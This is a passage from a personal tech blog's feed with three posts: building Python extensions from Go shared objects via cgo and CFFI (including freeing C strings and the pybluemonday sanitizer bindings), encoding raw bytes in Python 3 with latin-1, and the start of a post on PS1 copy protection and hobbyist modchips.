(e.g. <code>html.parser</code>, <code>lxml</code>&apos;s default options)</li><li>Slowly but correctly parse HTML5 with <code>html5lib</code> (pretty much all Python HTML5 parsers rely on <code>html5lib</code>)</li></ol><p>I began trying lots of the traditional techniques to see if I could speed up the HTML processing. </p><p>For example:</p><ul><li>Using more efficient Python language constructs and trying to rewrite code to not be slow &#x1F9E0;</li><li>Adding threading or multiprocessing (and dealing with whatever problems that causes)</li><li>Compiling your Python code using <a href="https://cython.org/">Cython</a></li><li>Giving up and using <a href="https://www.pypy.org/">PyPy</a></li></ul><p>Nothing I tried really made a meaningful difference. </p><p>I knew that another way to speed up Python was to <s>rewrite everything in another language</s> rewrite slow code in another language and call that code from Python.</p><p>But maybe I can guess what you&apos;re thinking:</p><p><em>If I&apos;m trying to write faster Python it&apos;s because I didn&apos;t really want to write C in the first place. </em></p><p>And you would be right! Do you <strong>really</strong> want to write that C code? Or the <a href="https://docs.python.org/3/library/ctypes.html">ctypes</a> code for that matter?</p><p>But let&apos;s talk about how we can solves this while writing as little C as possible. </p><hr><h2 id="go-shared-objects">Go Shared Objects</h2><p><a href="https://golang.org/">Google&apos;s Go programming language</a> has the ability to generate shared libraries/objects which can be loaded by other applications. Those applications can then access the compiled Go code without having to have a Go compiler or know anything about Go. </p><!--kg-card-begin: html--><div class="alert alert-info" role="alert">
  Shared objects are often identified as a .so or .dll file
</div><!--kg-card-end: html--><p>And if you didn&apos;t already know, Python has the ability to import code from shared objects! It&apos;s this functionality that many libraries leverage to make certain parts of &quot;Python&quot; code go faster. The difference from the norm here is that we&apos;re going to use Go to generate the shared object. </p><p>This strategy comes with some benefits and drawbacks that should be stated up front. Most other posts discussing this topic were not clear about the drawbacks and I think some of them are why we&apos;re not seeing more Python modules written in Go despite it being a very capable choice. </p><h3 id="pros">Pros:</h3><ul><li>Golang is much easier to write than C</li><li>Complex tasks (like HTML parsing) have much less risk of memory corruption in Go than in C</li><li>Go&apos;s standard library and ecosystem is expansive and easy to access</li><li>A lot of code will be generated for you so you&apos;re only ever really writing Python and Go</li></ul><h3 id="cons">Cons:</h3><ul><li>Unfortunately we still need to manage memory a little</li><li>It&apos;s hard to pass non-primitive types between Golang and Python. Or at least I haven&apos;t properly worked it out. </li><li>Python packaging is already kind of hard and adding Go into the mix makes it harder. Go&apos;s cross-compiliation tools aren&apos;t that helpful either but they might be in the future. </li></ul><p>Obviously you should only use this technique in specific situations. I&apos;m summarizing something that&apos;s worked well for me but you should evaluate and benchmark whether it makes sense.</p><p>With that out of the way, onto the code!</p><hr><h2 id="writing-our-faster-code">Writing our faster code</h2><p>I&apos;m going to ignore talking about it, but you should get a working Go environment setup. If you can run a <a href="https://gobyexample.com/hello-world">Go hello world example</a>, you&apos;re good to go. Unfortunately this post won&apos;t be a good resource for learning Go but there&apos;s far better places for that.</p><p>Let&apos;s start with a basic example.</p><figure class="kg-card kg-code-card"><pre><code class="language-golang">package main

import &quot;C&quot;
import &quot;fmt&quot;

//export hello
func hello() {
    fmt.Println(&quot;Hello World!&quot;)
}

func main() {}
</code></pre><figcaption>hello.go</figcaption></figure><p>This code obviously just prints &quot;Hello World!&quot; when you call the <code>hello()</code> function. However the magic is in two lines:</p><ol><li><code>import &quot;C&quot;</code></li><li><code>//export hello</code></li></ol><p>Importing C enables Go to call C code but also tells the compiler to generate header files that let Go code be called from C. <a href="https://golang.org/pkg/cmd/cgo/">Relevant Go documentation</a></p><p>The export line instructs the Go compiler to export the function beneath the comment to the generated header file so it can be called by other applications. <a href="https://golang.org/pkg/cmd/cgo/#hdr-C_references_to_Go">Relevant Go documentation</a></p><!--kg-card-begin: html--><div class="alert alert-info" role="alert">
  Note that there is no space between the slashes and the word export. This format is required. 
</div><!--kg-card-end: html--><p>Next we will compile this code. Run the following command in the same directory as the above <code>hello.go</code> file. </p><pre><code class="language-plaintext">go build -buildmode=c-shared -o hello.so .</code></pre><p>This instructs the compiler to build a shared object and relevant header file. </p><figure class="kg-card kg-code-card"><pre><code class="language-plaintext">    -buildmode=c-shared
        Build the listed main package, plus all packages it imports,
        into a C shared library. The only callable symbols will
        be those functions exported using a cgo //export comment.
        Requires exactly one main package to be listed.</code></pre><figcaption>A small snippet from the <a href="https://golang.org/pkg/cmd/go/internal/help/">Go help docs</a></figcaption></figure><p>Afterwards you should now also have <code>hello.h</code> and <code>hello.so</code>:</p><pre><code class="language-plaintext">&#x276F; ls -1
hello.go
hello.h
hello.so</code></pre><p>We won&apos;t use the header file just yet but don&apos;t delete it. We will need to copy the functions marked <code>extern</code> from it in the next section. In this case we would care about the <code>extern int hello();</code> line near the bottom. </p><p>Now you can technically use ctypes to interface with the shared object that was generated.</p><pre><code class="language-plaintext">&#x276F; ipython
Python 3.8.5 (default, Jul 21 2020, 10:48:26)
Type &apos;copyright&apos;, &apos;credits&apos; or &apos;license&apos; for more information
IPython 7.19.0 -- An enhanced Interactive Python. Type &apos;?&apos; for help.

In [1]: import ctypes

In [2]: hello = ctypes.CDLL(&quot;hello.so&quot;)

In [3]: hello.hello()
Hello World!
Out[3]: 0</code></pre><p>This is cool but it will become harder as we make more complicated functions.</p><hr><h2 id="more-complicated-functions">More complicated functions</h2><p>Okay let&apos;s expand our original example to make it more complicated. </p><p>Let&apos;s accept and return a string.</p><pre><code class="language-golang">package main

import &quot;C&quot;

//export hello
func hello(name *C.char) *C.char {
        goName := C.GoString(name)
        result := &quot;Hello &quot; + goName
        return C.CString(result)
}

func main() {}</code></pre><p>This starts to complicate our original example, and starts to reveal the difficulties of writing Go shared modules. </p><p><em>It also introduces a memory leak!</em> </p><p>So what&apos;s going on here? </p><!--kg-card-begin: markdown--><ol>
<li>
<p>If we want to pass data in or out, we need to use the C types provided by Go. These aren&apos;t well documented by Go but there are some <a href="https://www.marlin.pro/blog/cgo-referencing-c-library-in-go/">online</a> <a href="https://gist.github.com/zchee/b9c99695463d8902cd33">references</a>.<br>
In our example, our function needs to accept and return <code>*C.char</code>.</p>
</li>
<li>
<p>Then to use those C types as a Go variable we need to convert it back into a Go string with <code>C.GoString</code></p>
</li>
<li>
<p>Finally to return it back out as a <code>*C.char</code> we need to use <code>C.CString()</code> to convert the Go string back.</p>
</li>
<li>
<p><em><strong>However</strong></em> <code>C.CString</code> creates a string using <code>malloc()</code> and thus needs to be freed (which we haven&apos;t). Go will not warn you about this mistake. Only you can prevent <s>forest fires</s> memory leaks. Here&apos;s a snippet from the <a href="https://golang.org/pkg/cmd/cgo/">Go docs</a>:</p>
<pre><code>// The C string is allocated in the C heap using malloc.
// It is the caller&apos;s responsibility to arrange for it to be
// freed, such as by calling C.free (be sure to include stdlib.h
// if C.free is needed).
</code></pre>
</li>
</ol>
<!--kg-card-end: markdown--><p>Let&apos;s ignore the memory leak for now. We will address it later.</p><p>Once again we can call this example with ctypes but it also gets a little more complicated. Now that we have parameters and return values we need to provide the types for both from Python.</p><pre><code class="language-python">import ctypes

hello = ctypes.CDLL(&quot;hello.so&quot;)

# Specify a list of all of the types for the arguments
hello.hello.argtypes = [ctypes.c_char_p]

# Specify the type of the return value
hello.hello.restype = ctypes.c_char_p

# Encode our string into bytes 
name = &quot;Dude&quot;.encode(&quot;utf-8&quot;)

# Call the function and store the returned value
response = hello.hello(name)
print(response)  # b&apos;Hello Dude&apos;</code></pre><p>This isn&apos;t too bad but it&apos;s quite annoying to rewrite our type declarations using the ctypes API. Especially as the amount of functions we add grows. There&apos;s also the chance that you&apos;ll get the type declarations wrong. I have no idea what happens in that scenario. </p><p>But there&apos;s a better way!</p><hr><h2 id="cffi">CFFI</h2><p>The CFFI library allows us to interface with the shared object more easily by letting us directly copy the type specification from Go&apos;s generated header files. It also has functions that let us more easily convert a returned pointer into the appropriate Python data structure. </p><p>So let&apos;s follow CFFI&apos;s &quot;<a href="https://cffi.readthedocs.io/en/latest/overview.html#main-mode-of-usage">Main mode of usage</a>&quot; to build a secondary shared object that will wrap our existing shared object with CFFI&apos;s glue code.</p><p>Create a new script named <code>build_ffi.py</code>:</p><figure class="kg-card kg-code-card"><pre><code class="language-python">from cffi import FFI

ffibuilder = FFI()

# Specify the header that was generated by the Go compiler for source
# Specify the shared object that was generated by the Go compiler for extra_objects
ffibuilder.set_source(
    module_name=&quot;hello&quot;,
    source=&quot;&quot;&quot;
        #include &quot;hello.h&quot;
    &quot;&quot;&quot;,
    extra_objects=[&quot;hello.so&quot;],
)

# Copy the extern functions at the bottom of the header file (e.g. hello.h)
ffibuilder.cdef(
    csource=&quot;&quot;&quot;
    extern char* hello(char* p0);
    &quot;&quot;&quot;
)

if __name__ == &quot;__main__&quot;:
    ffibuilder.compile(verbose=True)</code></pre><figcaption>build_ffi.py</figcaption></figure><p>We want to provide cffi with the necessary details to be able to build a wrapper shared module so we will need to provide:</p><ol><li>Our generated header file</li><li>Our generated shared object file</li><li>The list of shared object functions that we wish to be able to call. This was already generated for you by the Go compiler near the bottom the <code>hello.h</code> file. You can just copy &amp; paste it to <code>build_ffi.py</code>. Perhaps you could automatically extract it but that&apos;s for a later project. </li></ol><p>Once the script is created, run it and you should get something like this:</p><pre><code class="language-plaintext">&#x276F; python build_ffi.py
generating ./hello.c
(already up-to-date)
running build_ext
building &apos;hello&apos; extension
clang -Wno-unused-result -Wsign-compare -Wunreachable-code -fno-common -dynamic -DNDEBUG -g -fwrapv -O3 -Wall -isysroot /Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk -I/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/usr/include -I/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/Frameworks/Tk.framework/Versions/8.5/Headers -I/usr/local/Cellar/python@3.8/3.8.5/Frameworks/Python.framework/Versions/3.8/include/python3.8 -c hello.c -o ./hello.o
clang -bundle -undefined dynamic_lookup -isysroot /Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk ./hello.o hello.so -o ./hello.cpython-38-darwin.so</code></pre><p>You will also see a few new files:</p><ul><li><code>hello.c</code></li><li><code>hello.cpython-38-darwin.so</code> (or some other shared object equivalent)</li><li><code>hello.o</code></li></ul><p>We care about the new <code>hello.cpython-38-darwin.so</code> file. Again the name may be different depending on your OS. </p><p>With CFFI the code to interact with the shared object is a little different:</p><pre><code class="language-python">from hello import lib, ffi

name = b&quot;Guy&quot;

r = lib.hello(name)

print(r)  # &lt;cdata &apos;char *&apos; 0x7ff309706230&gt;
print(ffi.string(r))  # b&apos;Hello Guy&apos;</code></pre><p>Essentially our exported functions are available on the <code>lib</code> module and the <code>ffi</code> module provides functions to convert &amp; create between C &amp; Python types.</p><p>The full process of interacting with the generated shared object is specified in the <a href="https://cffi.readthedocs.io/en/latest/using.html">CFFI documentation</a>. </p><p>Now you can take the generated shared object and write simple Python wrapper code. Users won&apos;t ever have to know the dark secret that the actual code isn&apos;t even in Python. </p><hr><h2 id="the-pitfalls">The Pitfalls</h2><p>Most of the existing discussion around this topic simply stops here. It&apos;s all perfect, their Hello World Golang module is happily running in production with nary a blip in sight. </p><p>That was not the case for me as I ran into a few issues with Go FFI:</p><ul><li>Memory leaks are easy to introduce but it&apos;s unclear how to avoid it</li><li>It&apos;s hard to pass non-primitive types between Go and Python </li></ul><!--kg-card-begin: html--><div class="alert alert-info" role="alert">
	I want to disclaim here that I am not a Go expert. Not even close!
    <br>
    <br>
    It&apos;s entirely possible I came up with something suboptimal. If you have better solutions I&apos;d love to <a href="https://github.com/ColdHeat/pybluemonday/issues">hear from you</a>! 
</div><!--kg-card-end: html--><h3 id="memory-leaks">Memory Leaks</h3><p>Let&apos;s follow up on our previous example:</p><pre><code class="language-golang">package main

import &quot;C&quot;

//export hello
func hello(name *C.char) *C.char {
        goName := C.GoString(name)
        result := &quot;Hello &quot; + goName
        return C.CString(result)
}

func main() {}</code></pre><p>I mentioned that this code had a memory leak due to the usage of <code>C.CString()</code> without a subsequent <code>free()</code>. How do you solve this? </p><p>The <a href="https://golang.org/pkg/cmd/cgo/">cgo documentation</a> says you should call <code>C.free()</code>:</p><figure class="kg-card kg-code-card"><pre><code class="language-golang">package main

// #include &lt;stdlib.h&gt;
import &quot;C&quot;
import &quot;unsafe&quot;

func main() {
	cs := C.CString(&quot;Hello from stdio&quot;)
	C.free(unsafe.Pointer(cs))
}</code></pre><figcaption>Slightly modified example from the cgo documentation</figcaption></figure><p>Okay but if I do that how do I return the data to my module? Is there a way to free after I return? </p><p>If you dig a little deeper, you will find the <code>defer</code> statement which will defer the execution of a function until the surrounding function returns.</p><figure class="kg-card kg-code-card"><pre><code class="language-golang">package main

// #include &lt;stdlib.h&gt;
import &quot;C&quot;
import &quot;unsafe&quot;

func main() {
	cs := C.CString(&quot;Hello from stdio&quot;)
	// Wait for the function to return before freeing
	defer C.free(unsafe.Pointer(cs))
}</code></pre><figcaption>Okay what new issue did this introduce?</figcaption></figure><p>The issue with this strategy, if implemented, is that Python will be holding onto a dangling pointer. The pointer will be pointing to a memory location that has been freed so it might change at any point. Here be dragons as they say. </p><p>Instead what I settled on was to export a <code>C.free()</code> wrapper function that I could call from Python after I had copied the data. So for example:</p><pre><code class="language-golang">package main

// #include &lt;stdlib.h&gt;
import &quot;C&quot;
import &quot;unsafe&quot;

//export hello
func hello(name *C.char) *C.char {
        goName := C.GoString(name)
        result := &quot;Hello &quot; + goName
        return C.CString(result)
}

//export FreeCString
func FreeCString(s *C.char) {
        C.free(unsafe.Pointer(s))
}

func main() {}</code></pre><p>Which we then access from Python as:</p><pre><code class="language-python">from hello import lib, ffi

name = b&quot;Guy&quot;

# Store a pointer to the return value
r = lib.hello(name)

# Copy out the string value
value = ffi.string(r)

# Free the pointer
lib.FreeCString(r)

# Value is still available
print(value)
# You can also verify that: 
# - the id() is different
# - cffi uses the proper Python C API functions to copy the value
# https://foss.heptapod.net/pypy/cffi/-/blob/branch/default/cffi/api.py#L302-318
# https://foss.heptapod.net/pypy/cffi/-/blob/branch/default/c/_cffi_backend.c#L6749-6859
# https://docs.python.org/3/c-api/bytes.html#c.PyBytes_FromStringAndSize</code></pre><h3 id="passing-data-between-go-and-python">Passing data between Go and Python</h3><p>As I mentioned earlier, it&apos;s difficult to pass non-primitive data between Python. You&apos;re kind of limited to things like short, int, long, char, float, double and things based off of them. </p><p>Say you created a nice Go struct (basically a class) that had all the fields and methods what you wanted. If you&apos;re a beginner like me, you might think that you can magically pass that struct over to Python somehow and use it like a regular Python class or something. </p><p>That&apos;s not the case. </p><p>I found that the simplest strategy was to keep Go objects within the Go side and Python objects within the Python side and pass primitive references to each other. </p><p>So for example:</p><figure class="kg-card kg-code-card"><pre><code class="language-golang">package main

/*
 #include &lt;stdlib.h&gt;
*/
import &quot;C&quot;
import (
        &quot;math/rand&quot;

        &quot;github.com/microcosm-cc/bluemonday&quot;
)

var POLICIES = map[uint32]*bluemonday.Policy{}

func GetPolicyId() uint32 {
        policyId := rand.Uint32()

        for {
                if POLICIES[policyId] == nil {
                        break
                } else {
                        policyId = rand.Uint32()
                }
        }
        return policyId
}

//export NewPolicy
func NewPolicy() C.ulong {
        policyId := GetPolicyId()
        policy := bluemonday.NewPolicy()
        POLICIES[policyId] = policy
        return C.ulong(policyId)
}

func main() {}</code></pre><figcaption>bluemonday.go</figcaption></figure><p>And the relevant Python code:</p><figure class="kg-card kg-code-card"><pre><code class="language-python">from bluemonday import lib, ffi

class NewPolicy(Policy):
    def __init__(self):
        self._id = lib.NewPolicy()
        
p = NewPolicy()</code></pre><figcaption>bluemonday.py</figcaption></figure><p>The strategy here is that I generate a &quot;random&quot; ID using <code>GetPolicyId()</code> &#xA0;and <code>NewPolicy()</code> and pass it to the Python code. Similarly, when I would want to call a method on the Go struct, I pass the identifier back to the Go code to identify which instance of the struct I would like to use, and use <a href="https://golang.org/pkg/reflect/">reflection</a> to <a href="https://stackoverflow.com/a/42907403">call the appropriate method based on a string I provide</a>. </p><p>These two strategies are not necessarily the best and there may be issues that I haven&apos;t encountered yet. For example, the Python side could cause some issues by corrupting the <code>_id</code> attribute or by forgetting to free memory, but I haven&apos;t come up with a better solution yet. </p><p>If you know better than me please reach out! </p><h2 id="the-end-result">The End Result</h2><p>Originally I hoped to build something on top of <a href="https://lxml.de/apidoc/lxml.html.clean.html">lxml&apos;s Cleaner module</a> by getting a faster language (maybe <a href="https://www.rust-lang.org/">Rust</a>) to do the processing and then have lxml do the cleaning. This was honestly never going to work in a reasonable amount of time. </p><p>But there was a major breakthrough when a friend showed me the <a href="https://github.com/microcosm-cc/bluemonday">bluemonday</a> library.</p><p><a href="https://github.com/microcosm-cc/bluemonday">bluemonday</a> implements a whitelist based HTML sanitizer built on top of <code>x/net/html</code>, Golang&apos;s &quot;<a href="https://pkg.go.dev/golang.org/x/net/html">HTML5-compliant tokenizer and parser</a>&quot;. bluemonday provided a lot of knobs that could be tweaked for very flexible sanitization and was being used on a lot of projects that contained user contributed content. </p><p>But no Python bindings... <strong><em>until now!</em></strong></p><p><a href="https://github.com/ColdHeat/pybluemonday">pybluemonday</a> implements Python bindings to bluemonday using the same techniques I outlined in this post. You can think of it as the advanced summary of everything discussed here. </p><p>I built a <a href="https://github.com/ColdHeat/pybluemonday/blob/master/benchmarks.py">small benchmarking script</a> to compare the speed of <a href="https://github.com/ColdHeat/pybluemonday">pybluemonday</a> to the standard Python HTML sanitizer libraries and the results were very impressive:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.kchung.co/content/images/2021/04/image-1.png" class="kg-image" alt="Faster Python with Go shared objects (the easy way)" loading="lazy" width="640" height="480"><figcaption>i am speed</figcaption></figure><p>As you can see by keeping all of the processing and sanitization logic within Go, we benefit from significant speed gains. &#xA0;Essentially we only pass data back into Python when it&apos;s ready to use.</p><p>This post tackles a lot of the initial difficulties I ran into while writing Python modules in Go. It&apos;s not as ergonomic as writing everything in Python but I feel it likely provides an equivalent amount of speed as writing directly in C with much less of the difficulty of writing raw C code. </p><!--kg-card-begin: html--><div class="alert alert-info" role="alert">
    I did not try approaches such as <a href="https://github.com/go-python/gopy">gopy</a> or <a href="https://pybindgen.readthedocs.io/en/latest/tutorial/">pybindgen</a>. They may be better in some regards but cffi was very easy to get started with and seems widely used. 
</div><!--kg-card-end: html--><p>There may be some memory overhead because the Go runtime is probably statically compiled into the shared object but I think it&apos;s a worthwhile trade off. </p><p>Additionally I didn&apos;t write about the packaging aspect of this but <a href="https://github.com/ColdHeat/pybluemonday">pybluemonday</a> has wheels for all the major targets (Linux, OSX, Windows). This is based off of <a href="https://github.com/joerick/cibuildwheel">cibuildwheel</a> and <a href="https://github.com/asottile/setuptools-golang">setuptools-golang</a>. Perhaps I will cover how to do this in a future post as it was not trivial to setup.</p><p>I hope this post clears up some of the confusion around using Go for Python modules and I hope the process gets easier over time. </p><!--kg-card-begin: html--><!-- Comment Block Prototype -->
<div id="remark42"></div>
<!-- Comment Block Prototype --><!--kg-card-end: html-->]]></content:encoded></item><item><title><![CDATA[Encoding Non-Printable Bytes in Python 3]]></title><description><![CDATA[In Python 2, it's no problem to use the `rb` or `wb` file modes to open binary files and process them using standard string methods. Not so easy in Python 3]]></description><link>https://blog.kchung.co/encoding-non-printable-bytes-in-python-3/</link><guid isPermaLink="false">605674d3f4c4b90001d0202d</guid><category><![CDATA[python]]></category><category><![CDATA[programming]]></category><category><![CDATA[encoding]]></category><category><![CDATA[tips]]></category><dc:creator><![CDATA[Kevin Chung]]></dc:creator><pubDate>Tue, 04 Dec 2018 05:52:00 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><h1 id="tldr">TL;DR</h1>
<p><strong>bytes -&gt; str</strong>:</p>
<pre><code class="language-python">In []: b&apos;\x90\x90\x90\x90&apos;.decode(&apos;latin-1&apos;)
Out[]: &apos;\x90\x90\x90\x90&apos;
</code></pre>
<p><strong>str -&gt; bytes</strong>:</p>
<pre><code class="language-python">In []: &apos;\x90\x90\x90\x90&apos;.encode(&apos;latin-1&apos;)
Out[]: b&apos;\x90\x90\x90\x90&apos;
</code></pre>
<h1 id="butwhytho">But Why Tho</h1>
<p>Sometimes when you&apos;re programming or you&apos;re playing <a href="https://majorleaguecyber.org/">CTFs</a>, you&apos;ll encounter odd binary file formats. In Python 2, it&apos;s no problem to use the <code>rb</code> or <code>wb</code> file modes to open those files and process them using standard string methods.</p>
<p>Then, everything changed when Python 3 came out.</p>
<p>In Python 3 it&apos;s very likely you will now be dealing with strings and bytes. Bytes are effectively raw computer &quot;bytes&quot; to Python. They are raw 1&apos;s and 0&apos;s with no context. Strings (which are made up of bytes) must now have encodings which contain their context. Essentially strings are bytes wrapped with an encoding function which dictates how they are to be viewed and processed.</p>
<p>However, strings have some capabilities which bytes do not share. A notable example is the lack of the <code>.format()</code> method in bytes.</p>
<pre><code class="language-python">In []: b&apos;{}&apos;.format(&apos;test&apos;)
---------------------------------------------------------------------------
AttributeError                            Traceback (most recent call last)
&lt;ipython-input-72a53680a88c&gt; in &lt;module&gt;
----&gt; 1 b&apos;{}&apos;.format(&apos;test&apos;)

AttributeError: &apos;bytes&apos; object has no attribute &apos;format&apos;
</code></pre>
<p>I generally just use Python 2 because I like it and it&apos;s not 2020 yet.</p>
<blockquote>
<p>Don&apos;t follow my bad habits. Python 3 is the future.</p>
</blockquote>
<p>Fast-forward to today where I need to use Python 3 to manipulate some binary data from a file and generate a newly processed file.</p>
<h1 id="thingsthatwontwork">Things that won&apos;t work</h1>
<p>Don&apos;t use <code>str.encode(&apos;ascii&apos;, &apos;replace&apos;)</code> because the end result you get will likely not be right despite seeming right.</p>
<p>For example:</p>
<pre><code class="language-python">In []: b&apos;\x90\x90\x90\x90&apos;.decode(&apos;ascii&apos;, &apos;replace&apos;)
Out[]: &apos;&#xFFFD;&#xFFFD;&#xFFFD;&#xFFFD;&apos;  # wow non-printable looks cool

In []: test = b&apos;\x90\x90\x90\x90&apos;.decode(&apos;ascii&apos;, &apos;replace&apos;)

In []: test
Out[]: &apos;&#xFFFD;&#xFFFD;&#xFFFD;&#xFFFD;&apos;

In []: test[0]
Out[]: &apos;&#xFFFD;&apos;

In []: ord(test[0])
Out[]: 65533  # o no
</code></pre>
<h1 id="thingsthatwillwork">Things that will work</h1>
<p>If you are trying to round trip raw binary data that you ripped right out of a random file or read from a socket (effectively <code>0x00</code> - <code>0xff</code>) between strings and bytes you want to use the <code>latin-1</code> encoding to get it done.</p>
<p><strong>bytes -&gt; str</strong>:</p>
<pre><code class="language-python">In []: b&apos;\x90\x90\x90\x90&apos;.decode(&apos;latin-1&apos;)
Out[]: &apos;\x90\x90\x90\x90&apos;
</code></pre>
<p><strong>str -&gt; bytes</strong>:</p>
<pre><code class="language-python">In []: &apos;\x90\x90\x90\x90&apos;.encode(&apos;latin-1&apos;)
Out[]: b&apos;\x90\x90\x90\x90&apos;
</code></pre>
<p>This works and also took me way too long to figure out while Googling. This works because <code>latin-1</code> a.k.a ISO 8859-1 encodes up to 255 for all 8 bits in a character. However, <code>ascii</code> is only 7 bits which means sad times once you go beyond 127.</p>
<p>Hopefully this saves you some time since it was quite a gotcha for me. &#x1F40D;&#xFF13;&#x1F4A9;</p>
<!--kg-card-end: markdown--><!--kg-card-begin: html--><!-- Comment Block Prototype -->
<div id="remark42"></div>
<!-- Comment Block Prototype --><!--kg-card-end: html-->]]></content:encoded></item><item><title><![CDATA[Making PlayStation 1 Modchips]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>When I was young I owned a PlayStation 1 (PS1). It was one of the first, if not the first, game consoles I owned and it had a profound effect on my future.</p>
<p>I can trace the history of how I got involved in computers back to playing and modding</p>]]></description><link>https://blog.kchung.co/making-playstation-modchips/</link><guid isPermaLink="false">605674d3f4c4b90001d0202c</guid><category><![CDATA[modchips]]></category><category><![CDATA[playstation 1]]></category><category><![CDATA[electronics]]></category><category><![CDATA[drm]]></category><category><![CDATA[esp8266]]></category><category><![CDATA[micropython]]></category><dc:creator><![CDATA[Kevin Chung]]></dc:creator><pubDate>Thu, 21 Jun 2018 13:38:00 GMT</pubDate><media:content url="https://blog.kchung.co/content/images/2018/06/IMG_0999.jpg" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><img src="https://blog.kchung.co/content/images/2018/06/IMG_0999.jpg" alt="Making PlayStation 1 Modchips"><p>When I was young I owned a PlayStation 1 (PS1). It was one of the first, if not the first, game consoles I owned and it had a profound effect on my future.</p>
<p>I can trace the history of how I got involved in computers back to playing and modding video games. While I wasn&apos;t smart enough to mod game consoles when I was young, my dad wasn&apos;t bad at it. He modded my PS1 to have a little switch in the back that would allow it to play burnt games. They say the apple doesn&apos;t fall far from the tree.</p>
<p>Fast-forward to today and I no longer have my original PS1. I remember some games wouldn&apos;t load anymore and I had gotten a PS2. So why keep an old console? Turns out the answer is nostalgia and memories. You miss what you don&apos;t have anymore.</p>
<p>Recently a friend gifted me a PS1. And so then the journey begins, how do I mod this thing?</p>
<blockquote>
<p>If you are looking for them I am selling <a href="http://rover.ebay.com/rover/1/711-53200-19255-0/1?icep_ff3=2&amp;pub=5575378759&amp;campid=5338273189&amp;customid=&amp;icep_item=223024408143&amp;ipn=psmain&amp;icep_vectorid=229466&amp;kwid=902099&amp;mtid=824&amp;kw=lg&amp;toolid=11111">flashed, prewired modchips</a>.</p>
</blockquote>
<h1 id="playstation1drm">Playstation 1 DRM</h1>
<p>Very simply, the principles behind PS1 DRM work as follows:</p>
<ol>
<li>Sony baked (not the technical term) strings (i.e. <code>SCEA</code>, <code>SCEI</code>, <code>SCEE</code>, or in rare cases <code>SCEW</code>) into official PS1 games in locations which cannot be replicated by a regular reader. <a href="https://www.youtube.com/watch?v=XUwSOfQ1D3c">This video</a> and <a href="http://www.psxdev.net/forum/viewtopic.php?t=128">this post</a> discuss it reasonably well.</li>
<li>The CD drive controller looks for those strings to identify a disc as official. Once the controller decides that the disc is/isn&apos;t official, the main CPU reads this decision and acts accordingly.</li>
<li>If the string can&apos;t be found or is garbled, the PS1 knows the disc isn&apos;t an <strong>authentic</strong> PS1 game. However, because the PS1 needs to account for disc read errors, there&apos;s a good amount of leeway in what passes the authenticity check.</li>
<li>Because region <small>(<strong>A</strong> for America, <strong>I</strong> for Japan, <strong>E</strong> for Europe, and <strong>W</strong> for <a href="https://en.wikipedia.org/wiki/Net_Yaroze">Net Yaroze</a>)</small> as well as authenticity are rolled into one string, Sony kills two birds with one stone here and achieves region locking as well as copy protection.</li>
</ol>
<blockquote>
<p>If you want a real in-depth discussion you can read <a href="http://www.oldcrows.net/mcc2.html">the original posts by The Old Crow</a> or the <a href="https://problemkaputt.de/psx-spx.htm#cdromprotectionmodchips">No$PSX documentation page</a> or this <a href="http://psx-scene.com/forums/f10/psx-modchip-faq-64110/">Modchip FAQ</a></p>
</blockquote>
<p>PSX modchips work by electrically stifling the output originally generated by whatever CD is inside the drive and then injecting a new, faked signal into the CD microcontroller. This causes the PS1 to believe that whatever disc is inside is legitimate and proceed to boot up.</p>
<p>Later on Sony added more complicated checks like:</p>
<ul>
<li>Checking for the magic strings during the game instead of at boot</li>
<li>Changing the overall process to make it more difficult to bypass by simply emitting the correct strings.</li>
</ul>
<p>However, modern modchips already deal with this. Modchips that work under these updated circumstances are known as &quot;stealth modchips&quot; because the console shouldn&apos;t be able to detect them at all.</p>
<h1 id="existingmodchips">Existing Modchips</h1>
<p>The first &quot;open source&quot; modchip was reverse engineered by a guy named &quot;The Old Crow&quot;. Surprisingly, The Old Crow specializes in electronic music synthesizers, not hacking video game consoles. It&apos;s from his modchip that most other modchips are derived from in some sense. He originally reverse engineered a commercial PS1 modchip that was designed by a western engineer working for a Chinese company.</p>
<p>Today, there are three main modchips which are still used by the community today.</p>
<p>The modchips include:</p>
<ul>
<li><a href="https://quade.co/ps1-modchip-guide/mm3/">Multimode 3 (MM3)</a></li>
<li><a href="https://quade.co/ps1-modchip-guide/mayumi-v4/">Mayumi v4</a></li>
<li><a href="https://github.com/kalymos/PsNee">PSNee</a></li>
</ul>
<p>The three have their pros and cons but generally they can be summarized as follows:</p>
<ul>
<li>
<p>MM3 is the most common PS1 modchip seen/used today. Its only real downside is that it uses an internal oscillator which can become out of sync with the oscillator used by the CD drive. If this happens you simply need to reboot your console to try reading again.</p>
</li>
<li>
<p>Mayumi v4 attempts to use the oscillator used by the CD drive. This reduces the chance of the oscillator sync issue from happening; however, Mayumi v4 is considered a bit difficult to install.</p>
</li>
<li>
<p><a href="https://github.com/kalymos/PsNee">PSNee</a> is an open source modchip originally written by <a href="https://assemblergames.com/threads/psnee-a-stealth-modchip-for-all-ps1-models.57907/">TheFrietMan</a>. Development on it was <a href="http://www.psxdev.net/forum/viewtopic.php?t=1262">later continued by others</a> and it appears to work rather well on all Playstation 1/PSOne models. Based on the code I believe it attempts to infer where the PS1 is in the boot process to begin injecting fake <code>SCEX</code> strings. Unfortunately PSNee is complicated to install. The provided diagrams are atrocious and nowhere near as simple as the available diagrams for MM3 and Mayumi. I worked out <a href="https://gist.github.com/ColdHeat/be633b7eb6e25758ec80ae0115c1887a">the pinout for the Attiny45</a> but I ended up going with MM3 and Mayumi because it&apos;s easier.</p>
</li>
</ul>
<h1 id="makingamodchip">Making a Modchip</h1>
<blockquote>
<p>If you want them I am selling <a href="http://rover.ebay.com/rover/1/711-53200-19255-0/1?icep_ff3=2&amp;pub=5575378759&amp;campid=5338273189&amp;customid=&amp;icep_item=223024408143&amp;ipn=psmain&amp;icep_vectorid=229466&amp;kwid=902099&amp;mtid=824&amp;kw=lg&amp;toolid=11111">flashed, prewired modchips</a>.</p>
</blockquote>
<p>It&apos;s generally pretty easy to make a PS1 modchip provided you have the right tools. In this tutorial we will focus on making MM3 or Mayumi v4 modchips.</p>
<blockquote>
